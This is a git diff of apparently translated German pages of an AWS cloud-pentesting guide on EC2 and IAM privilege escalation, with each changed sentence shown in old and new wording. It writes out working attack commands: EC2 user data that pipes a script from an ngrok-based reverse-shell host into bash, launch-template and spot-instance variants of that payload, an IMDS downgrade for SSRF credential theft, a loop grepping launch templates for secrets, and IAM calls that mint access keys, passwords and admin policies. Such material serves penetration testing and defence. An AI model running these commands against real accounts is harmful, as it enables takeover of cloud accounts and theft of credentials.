--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Zugriff über rev shell in user data**
Du kannst eine neue Instanz mit **user data** (`--user-data`) starten, die dir eine **rev shell** sendet. Auf diese Weise musst du keine security group angeben.
Sie können eine neue Instanz mit einer **user data** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Sie müssen auf diese Weise keine security group angeben.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM role außerhalb der instance verwendest:
Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM role außerhalb der Instanz verwendest:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Mögliche Auswirkungen:** Direkter privesc zu jeder EC2 role, die an bestehende instance profiles angehängt ist.
**Potenzielle Auswirkung:** Direkter privesc auf jede EC2 role, die an bestehende instance profiles angehängt ist.
#### Privesc to ECS
#### Privesc zu ECS
Mit diesen Berechtigungen könntest du außerdem **eine EC2 instance erstellen und sie in einem ECS cluster registrieren**. Auf diese Weise werden ECS **services** innerhalb der **EC2 instance**, auf die du Zugriff hast, **ausgeführt**, und du kannst diese Services (docker containers) kompromittieren und **ihre angehängten ECS roles stehlen**.
Mit diesem Satz von Berechtigungen könntest du außerdem **eine EC2 instance erstellen und sie in einem ECS cluster registrieren**. Auf diese Weise werden ECS **services** innerhalb der **EC2 instance**, auf die du Zugriff hast, **ausgeführt** und du kannst diese services (docker containers) kompromittieren und **ihre angehängten ECS roles stehlen**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Um zu erfahren, wie man **ECS services dazu zwingt, auf dieser neuen EC2 instance ausgeführt zu werden**, siehe:
Um zu lernen, wie man **ECS services dazu zwingt, in dieser neuen EC2-Instanz ausgeführt zu werden**, siehe:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie die Instanz im Cluster registrieren und den kommentierten Angriff ausführen.
Wenn du **keine neue Instanz erstellen kannst**, aber die Berechtigung `ecs:RegisterContainerInstance` besitzt, könntest du die Instanz im Cluster registrieren und den kommentierten Angriff durchführen.
**Potentieller Impact:** Direkte privesc auf an Tasks angehängte ECS-Rollen.
**Potentielle Auswirkungen:** Direkter privesc zu an Tasks angehängten ECS-Rollen.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die **IAM-Rolle einer kompromittierten instance ändern**, um neue Anmeldeinformationen zu stehlen.\
Da ein instance profile nur 1 Rolle haben kann, benötigen Sie, falls das instance profile **bereits eine Rolle hat** (häufiger Fall), außerdem **`iam:RemoveRoleFromInstanceProfile`**.
Ähnlich zum vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die **IAM role einer kompromittierten Instanz ändern**, sodass er neue Zugangsdaten stehlen kann.\
Da ein instance profile nur 1 role haben kann, wenn das instance profile **bereits eine role hat** (häufiger Fall), benötigst du außerdem **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Wenn das **instance profile hat eine role** und der Angreifer **es nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **finden** ein **instance profile ohne role** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **hinzufügen** die **role** zu jenem **instance profile** (wie zuvor besprochen), und **das instance profile zuordnen** kompromittiert zu einer kompromittierten i**nstance:**
Wenn das **instance profile hat eine role** und der attacker **es nicht entfernen kann**, gibt es eine andere Umgehung. Er könnte **finden** ein **instance profile ohne role** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **hinzufügen** die **role** zu jenem **instance profile** (wie zuvor besprochen), und **associate the instance profile** compromised an eine compromised i**nstance:**
- Wenn die instance **kein instance** profile hat (`ec2:AssociateIamInstanceProfile`)
- Wenn die instance **keine instance** profile hat (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potential Impact:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und über zusätzliche Berechtigungen oder einen bestimmten Instanzprofil-Status verfügen).
**Potentielle Auswirkung:** Direkte privesc auf eine andere EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten Instanzprofil-Status besitzen).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Mit diesen Berechtigungen ist es möglich, das mit einer Instanz verknüpfte Instanzprofil zu ändern, sodass ein Angreifer, der bereits Zugriff auf eine Instanz hat, Anmeldeinformationen für weitere Rollen des Instanzprofils stehlen kann, indem er das damit verknüpfte Profil ändert.
Mit diesen Berechtigungen ist es möglich, das einer Instanz zugeordnete Instanzprofil zu ändern. Wenn ein Angreifer bereits Zugriff auf eine Instanz hat, kann er dadurch Anmeldeinformationen für weitere Instanzprofil-Rollen stehlen, indem er das damit verknüpfte Profil austauscht.
- Wenn die Instanz **ein Instanzprofil hat**, kannst du das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **zuordnen**
- Wenn die Instanz **ein Instanzprofil hat**, kannst du das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- oder das **instance profile** der kompromittierten Instanz **ersetzen** (`ec2:ReplaceIamInstanceProfileAssociation`).
- oder **ersetzen** das **instance profile** der kompromittierten Instance (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Potentielle Auswirkung:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und zusätzliche Berechtigungen oder einen spezifischen instance profile status besitzen).
**Mögliche Auswirkungen:** Direkter privesc zu einer anderen EC2 role (du musst eine AWS EC2 instance kompromittiert haben und einige zusätzliche Berechtigungen oder einen bestimmten instance profile Status).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`and`iam:PassRole`** kann eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** in den **user data** anfordern.\
Sobald die Instanz ausgeführt wird, kann er die **IAM role** stehlen.
Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances` und `iam:PassRole`** kann eine **Spot Instance** anfordern, mit einer angehängten **EC2 Role** und einer **rev shell** in den **user data**.\
Sobald die Instance ausgeführt wird, kann er die **IAM role** stehlen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,7 +119,7 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Ein Angreifer mit dem **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanz ändern. Unter anderem kann er die **user data** ändern, was bedeutet, dass er die Instanz dazu bringen kann, **beliebige Daten auszuführen.** Das kann genutzt werden, um eine **rev shell auf die EC2-Instanz** zu erhalten.
Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute einer Instanz ändern. Unter anderem kann er die **user data ändern**, wodurch er die Instanz dazu bringen kann, **beliebigen Code auszuführen.** Das kann genutzt werden, um eine **rev shell auf die EC2-Instanz** zu erhalten.
Beachte, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher werden die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
```bash
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Mögliche Auswirkungen:** Direkter privesc auf jede an eine erstellte Instanz angehängte EC2 IAM Role.
**Mögliche Auswirkung:** Direkter privesc auf jede an eine erstellte Instanz angehängte EC2 IAM Role.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen, die eine **rev shell in** den **user data** und **any EC2 IAM Role on it** enthält, die Standardversion ändern, und **any Autoscaler group** **using** that **Launch Templat**e, die **configured** ist, die **latest** oder die **default version** zu verwenden, wird die Instanzen mit dieser Vorlage **re-run the instances** und dabei die rev shell ausführen.
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **neue Launch Template-Version** erstellen, die **einen rev shell im** **user data** enthält und **jede EC2 IAM Role darauf** zuweist, die Standardversion auf diese Version ändern; jede **Autoscaler group**, die dieses **Launch Template** **verwendet** und so **konfiguriert** ist, die **latest** oder die **default version** zu verwenden, wird die Instanzen mit diesem Template **neu starten** und den rev shell ausführen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Potential Impact:** Direkter privesc zu einer anderen EC2 role.
**Mögliche Auswirkungen:** Direkter privesc auf eine andere EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration** mit einer **IAM Role** und einer **rev shell** in den **user data** erstellen, anschließend **eine autoscaling group** aus dieser Konfiguration anlegen und darauf warten, dass die rev shell die **IAM Role** stiehlt.
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration erstellen** mit einer **IAM Role** und einer **rev shell** im **user data**, dann **eine autoscaling group** aus dieser Konfiguration erstellen und darauf warten, dass die rev shell die **IAM Role stiehlt**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Potentielle Auswirkung:** Direkter privesc zu einer anderen EC2-Rolle.
**Mögliche Auswirkung:** Direkter privesc zu einer anderen EC2 role.
### `!autoscaling`
Die Kombination der Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reicht nicht aus, um** Rechte auf eine IAM-Rolle zu eskalieren, da man, um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigt (was ein bekannter privesc ist).
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen NICHT aus, um** Rechte auf eine IAM role zu eskalieren, denn um die im Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, **benötigt man die Berechtigungen `iam:PassRole` und `ec2:RunInstances`** (was ein bekannter privesc ist).
### `ec2-instance-connect:SendSSHPublicKey`
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh-Schlüssel hinzufügen und diesen verwenden, um sich damit anzumelden (wenn er ssh-Zugriff auf die Instanz hat) oder um Rechte zu eskalieren.
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh key hinzufügen und diesen nutzen, um darauf zuzugreifen (falls er ssh access zur Instanz hat) oder um Privilegien zu eskalieren.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Mögliche Auswirkungen:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.
**Potential Impact:** Direkter privesc zu den EC2 IAM roles, die an laufende Instances angehängt sind.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh-Schlüssel zu einer seriellen Verbindung hinzufügen**. Ist die serielle Konsole nicht aktiviert, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh key zu einer seriellen Konsole hinzufügen**. Falls die serielle Konsole nicht aktiviert ist, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
Um sich mit dem seriellen Port zu verbinden, muss der Angreifer außerdem **den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen.
Um eine Verbindung zur seriellen Schnittstelle herzustellen, muss der Angreifer außerdem **den Benutzernamen und das Passwort eines Nutzers** innerhalb der Maschine kennen.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Diese Methode ist für privesc nicht sehr nützlich, da man einen Benutzernamen und ein Passwort kennen muss, um sie auszunutzen.
Auf diese Weise ist es nicht sehr nützlich für privesc, da man einen Benutzernamen und ein Passwort kennen muss, um es auszunutzen.
**Mögliche Auswirkung:** (Schwer nachweisbar) Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen angehängt sind.
**Mögliche Auswirkungen:** (kaum beweisbar) Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen angehängt sind.
### `describe-launch-templates`,`describe-launch-template-versions`
Da launch templates versioniert sind, könnte ein Angreifer mit den Berechtigungen **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu entdecken, wie z. B. in user data vorhandene Anmeldedaten. Um dies zu erreichen, durchläuft das folgende script alle Versionen der verfügbaren launch templates:
Da launch templates Versionierung haben, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z. B. Anmeldeinformationen, die in user data vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,29 +248,24 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
In den obenstehenden Befehlen, obwohl wir bestimmte Muster angeben (`aws_|password|token|api`), kannst du einen anderen Regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
In den oben gezeigten Befehlen, obwohl wir bestimmte Muster (`aws_|password|token|api`) angeben, kannst du eine andere Regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Zugangsdaten verwenden, um uns bei AWS zu authentifizieren.
Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren.
**Mögliche Auswirkungen:** Direkte Privilegieneskalation auf IAM-Benutzer.
**Potentielle Auswirkung:** Direkte Privilegieneskalation auf IAM-Benutzer (ein oder mehrere).
## Referenzen
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
### `ec2:ModifyInstanceMetadataOptions` (IMDS-Downgrade, um SSRF-basierten Diebstahl von Anmeldeinformationen zu ermöglichen)
Ein Angreifer mit der Fähigkeit, `ec2:ModifyInstanceMetadataOptions` auf einer Opfer-EC2-Instanz aufzurufen, kann die IMDS-Schutzmechanismen schwächen, indem er IMDSv1 (`HttpTokens=optional`) aktiviert und das `HttpPutResponseHopLimit` erhöht. Dadurch wird der instance metadata endpoint über übliche SSRF/proxy-Pfade von auf der Instanz laufenden Anwendungen erreichbar. Wenn der Angreifer in einer solchen Anwendung eine SSRF auslösen kann, kann er die instance profile credentials abrufen und damit pivotieren.
- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Zielinstanz (zuzüglich der Möglichkeit, auf dem Host eine SSRF zu erreichen/auszulösen).
- Zielressource: Die laufende EC2-Instanz mit einem angehängten instance profile (IAM role).
### `ec2:ModifyInstanceMetadataOptions` (IMDS-Downgrade, um SSRF-basierten Diebstahl von Zugangsdaten zu ermöglichen)
Ein Angreifer, der in der Lage ist, `ec2:ModifyInstanceMetadataOptions` auf einer Ziel-EC2-Instanz aufzurufen, kann IMDS-Schutzmaßnahmen abschwächen, indem er IMDSv1 (`HttpTokens=optional`) aktiviert und das `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über gängige SSRF-/Proxy-Pfade aus Anwendungen erreichbar, die auf der Instanz laufen. Wenn der Angreifer in einer solchen Anwendung eine SSRF auslösen kann, kann er die Instance-Profile-Anmeldeinformationen abrufen und damit pivotieren.
- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Zielinstanz (sowie die Möglichkeit, eine SSRF auf dem Host zu erreichen/auszulösen).
- Zielressource: Die laufende EC2-Instanz mit angehängtem instance profile (IAM role).
Commands example:
Beispielbefehle:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -297,11 +292,11 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Mögliche Auswirkungen: Diebstahl von Instance-Profile-Anmeldeinformationen via SSRF, was zu privilege escalation und lateral movement mit den EC2-Rollenberechtigungen führen kann.
Potentielle Auswirkung: Diebstahl von Instance-Profile-Anmeldeinformationen durch SSRF, was zu Privilegieneskalation und seitlicher Bewegung mit den EC2-Rollenberechtigungen führen kann.
### `ec2:ModifyInstanceMetadataOptions`
Ein Angreifer mit der Berechtigung ec2:ModifyInstanceMetadataOptions kann die Schutzmechanismen des Instance Metadata Service (IMDS) abschwächen — zum Beispiel indem er IMDSv1 erzwingt (HttpTokens nicht erforderlich macht) oder HttpPutResponseHopLimit erhöht — und so die Exfiltration temporärer Anmeldeinformationen erleichtern. Der relevanteste Risikopfad besteht darin, HttpPutResponseHopLimit zu erhöhen: Durch Erhöhung dieses Hop-Limits (TTL) ist der Endpunkt 169.254.169.254 nicht mehr strikt auf den Netzwerk-Namespace der VM beschränkt und kann von anderen Prozessen/Containern erreichbar werden, wodurch das Abgreifen von Anmeldeinformationen ermöglicht wird.
Ein Angreifer mit der Berechtigung ec2:ModifyInstanceMetadataOptions kann die Schutzmechanismen des Instance Metadata Service (IMDS) abschwächen — zum Beispiel durch Erzwingen von IMDSv1 (wodurch HttpTokens nicht erforderlich sind) oder durch Erhöhen von HttpPutResponseHopLimit — und damit die Exfiltration temporärer Anmeldeinformationen erleichtern. Der relevanteste Angriffsvektor ist das Erhöhen von HttpPutResponseHopLimit: Durch das Erhöhen dieses Hop-Limits (TTL) ist der Endpoint 169.254.169.254 nicht mehr strikt auf den Netzwerk-Namespace der VM beschränkt und kann von anderen Prozessen/Containern erreicht werden, wodurch ein Diebstahl von Zugangsdaten ermöglicht wird.
```bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
@@ -311,13 +306,13 @@ aws ec2 modify-instance-metadata-options \
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
Ein Angreifer, dem die Berechtigungen `ec2:ModifyImageAttribute` und `ec2:ModifySnapshotAttribute` zugewiesen sind, kann AMIs oder Snapshots mit anderen AWS-Konten teilen (oder sogar öffentlich machen). Dadurch werden Images oder Volumes offengelegt, die sensible Daten wie Konfigurationen, Zugangsdaten, Zertifikate oder Backups enthalten können. Durch das Ändern der launch permissions eines AMI bzw. der create-volume permissions eines Snapshots ermöglicht der Angreifer Dritten, Instanzen zu starten oder Datenträger von diesen Ressourcen einzuhängen und auf deren Inhalte zuzugreifen.
Ein Angreifer mit den Berechtigungen `ec2:ModifyImageAttribute` und `ec2:ModifySnapshotAttribute` kann AMIs oder Snapshots mit anderen AWS-Konten teilen (oder sogar öffentlich machen) und dadurch Images oder Volumes offenlegen, die sensible Daten wie Konfigurationen, Zugangsdaten, Zertifikate oder Backups enthalten können. Durch das Ändern der AMI’s `launch permissions` oder der Snapshot’s `create-volume permissions` erlaubt der Angreifer Dritten, Instanzen von diesen Ressourcen zu starten oder Datenträger davon einzuhängen und auf deren Inhalte zuzugreifen.
Um ein AMI mit einem anderen Konto zu teilen:
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
Um einen EBS snapshot mit einem anderen Account zu teilen:
Um einen EBS snapshot mit einem anderen Konto zu teilen:
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```

70
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
View File

@@ -4,7 +4,7 @@
## IAM
Für weitere Informationen zu IAM siehe:
Weitere Informationen zu IAM:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,38 +12,38 @@ Für weitere Informationen zu IAM siehe:
### **`iam:CreatePolicyVersion`**
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion`, indem das Flag `--set-as-default` verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion` durch Verwendung des Flags `--set-as-default`. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
**Exploit Command:**
**Exploit-Befehl:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Auswirkung:** Erhöht direkt die Privilegien, indem es jede Aktion auf jeder Ressource erlaubt.
**Auswirkung:** Eskaliert Privilegien direkt, indem beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
### **`iam:SetDefaultPolicyVersion`**
Ermöglicht das Ändern der Standardversion einer IAM policy zu einer anderen vorhandenen Version, was die Privilegien eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
Ermöglicht das Ändern der Standardversion einer IAM-Policy auf eine andere vorhandene Version, was Privilegien eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impact:** Indirekte privilege escalation durch Ermöglichen zusätzlicher Berechtigungen.
**Auswirkung:** Indirekte privilege escalation durch das Ermöglichen zusätzlicher Berechtigungen.
### **`iam:CreateAccessKey`**
Ermöglicht das Erstellen von access key ID und secret access key für einen anderen Benutzer, was zu potenzieller privilege escalation führen kann.
Ermöglicht das Erstellen einer access key ID und eines secret access key für einen anderen Benutzer, was zu einer möglichen privilege escalation führen kann.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Auswirkung:** Direkte privilege escalation durch das Übernehmen erweiterter Berechtigungen eines anderen Benutzers.
**Auswirkung:** Direkte Privilegieneskalation durch das Übernehmen der erweiterten Berechtigungen eines anderen Benutzers.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu direkter privilege escalation führt.
Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich dem Festlegen von Passwörtern für die Anmeldung an der AWS Console, was zu direkter Privilegieneskalation führt.
**Exploit for Creation:**
```bash
@@ -55,37 +55,37 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Auswirkung:** Direkte Privilegienerhöhung durch Anmeldung als "beliebiger" Benutzer.
**Auswirkung:** Direkte Privilegieneskalation durch Anmeldung als "any"-Benutzer.
### **`iam:UpdateAccessKey`**
Ermöglicht das Aktivieren eines deaktivierten access key, was möglicherweise zu unbefugtem Zugriff führen kann, wenn der Angreifer den deaktivierten access key besitzt.
Ermöglicht das Aktivieren eines deaktivierten Access Key, was zu unautorisiertem Zugriff führen kann, falls der Angreifer über den deaktivierten Access Key verfügt.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impact:** Direkte Privilegieneskalation durch Reaktivierung von access keys.
**Auswirkung:** Direkte Privilegieneskalation durch Reaktivierung von Access Keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (z. B. CodeCommit, Amazon Keyspaces) und übernimmt dabei die Berechtigungen des zugehörigen Benutzers.
Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.
**Exploit for Creation:**
**Exploit für Erstellung:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
**Exploit für Reset:**
**Exploit zum Zurücksetzen:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Auswirkung:** Direkte Privilegieneskalation innerhalb der Service-Berechtigungen des Benutzers.
**Auswirkung:** Direkter privilege escalation innerhalb der Service-Berechtigungen des Benutzers.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Ermöglicht das Anhängen von Richtlinien an Benutzer oder Gruppen und eskaliert dadurch direkt Privilegien, indem die Berechtigungen der angehängten Richtlinie übernommen werden.
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und führt so zu direkter privilege escalation, indem die Berechtigungen der angehängten Policy vererbt werden.
**Exploit für Benutzer:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -97,7 +97,7 @@ aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Ermöglicht das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und erlaubt damit direkte privilege escalation durch die Gewährung zusätzlicher Berechtigungen.
Erlaubt das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht damit direkte privilege escalation durch Gewährung zusätzlicher Berechtigungen.
**Exploit for Role:**
```bash
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Sie können eine Richtlinie wie die folgende verwenden:
Sie können eine Richtlinie wie folgt verwenden:
```json
{
"Version": "2012-10-17",
@@ -131,24 +131,24 @@ Sie können eine Richtlinie wie die folgende verwenden:
### **`iam:AddUserToGroup`**
Ermöglicht das Hinzufügen des eigenen Kontos zu einer IAM-Gruppe, wodurch Privilegien eskaliert werden, indem die Berechtigungen der Gruppe übernommen werden.
Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen, wodurch Privilegien eskaliert werden, indem man die Berechtigungen der Gruppe erbt.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Auswirkung:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
**Impact:** Direkte Privilegieneskalation auf die Ebene der Berechtigungen der Gruppe.
### **`iam:UpdateAssumeRolePolicy`**
Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle und damit das Übernehmen der Rolle sowie deren zugehöriger Berechtigungen.
Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle, wodurch das Übernehmen der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
